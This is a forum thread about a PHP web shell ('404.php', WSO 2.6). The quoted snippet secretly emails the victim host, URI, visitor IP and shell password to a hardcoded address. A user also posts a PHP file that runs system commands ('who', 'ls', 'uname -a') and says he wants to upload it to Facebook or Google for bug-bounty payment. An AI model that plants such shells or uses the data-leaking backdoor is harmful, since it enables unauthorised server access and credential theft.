What is this php?

[deonbell]

$visitc = $_COOKIE["visits"];
if ($visitc == "") {
  $visitc  = 0;
  $visitor = $_SERVER["REMOTE_ADDR"];
  $web     = $_SERVER["HTTP_HOST"];
  $inj     = $_SERVER["REQUEST_URI"];
  $target  = rawurldecode($web.$inj);
  $judul   = "WSO 2.6 http://$target by $visitor";
  $body    = "Bug: $target by $visitor - $auth_pass";
  if (!empty($web)) { @mail("[email protected]",$judul,$body,$auth_pass); }
} 

I find program, I want to use application called 404.php. But I looked at code. It said base64 encoded in code and this what is said. Does e-mail password and ip?

Here is all code.
"404 Not Found" By aLLiGaToR - Pastebin.com
Maybe I just delete base64 line in code. Everything okay? Or maybe better if I use pentest monkey's reverse shell.

I only use code for good. I want to be a white hacker.

[Spunky]

It will never work

[deonbell]

It will never work

Yes, I try pentest monkey shell and it not work at all. I delete base64 code from 404.php shell. I hope no more backdoors. And it works on old server running old php 5.5, but not on server with php 7. Maybe 404 php code defecated in php 7.

Thank for your help Spunky.

[Spunky]

I try to help the peoples

[clickity click]

$visitc = $_COOKIE["visits"];
if ($visitc == "") {
  $visitc  = 0;
  $visitor = $_SERVER["REMOTE_ADDR"];
  $web     = $_SERVER["HTTP_HOST"];
  $inj     = $_SERVER["REQUEST_URI"];
  $target  = rawurldecode($web.$inj);
  $judul   = "WSO 2.6 http://$target by $visitor";
  $body    = "Bug: $target by $visitor - $auth_pass";
  if (!empty($web)) { @mail("[email protected]",$judul,$body,$auth_pass); }
} 

I find program, I want to use application called 404.php. But I looked at code. It said base64 encoded in code and this what is said. Does e-mail password and ip?

Here is all code.
"404 Not Found" By aLLiGaToR - Pastebin.com
Maybe I just delete base64 line in code. Everything okay? Or maybe better if I use pentest monkey's reverse shell.

I only use code for good. I want to be a white hacker.

What do you want to do with the shell?

[HomerSimpson]

When I try to open that pastebin my NOD32 says:

[clickity click]

When I try to open that pastebin my NOD32 says:

Well duh. It's a web shell.

[CPA-Rush]

https://github.com/rogierkn/PrettyBoot

[Barry-xlovecam]

Happy Hacking
k0d3k1dd13

[deonbell]

I think I don't need nice shell for proof of conception. I create a php file that shows I upload. I want to upload this to facebook or google and get money for finding bug. I will make similar files for asp and js. Then I get a money to buy new roller blades.

<?php

echo "<h1>proof</h1>";
echo "<h1>who?</h1>";
system("who");
echo "<h2>Current Directory</h2>";
system("pwd");
echo "<h2>Files</h2>";
system("ls");
echo "<h2>Uname</h2>";
system("uname -a");


?>

[Colmike9]

People doing code bounties don't have to ask questions like this..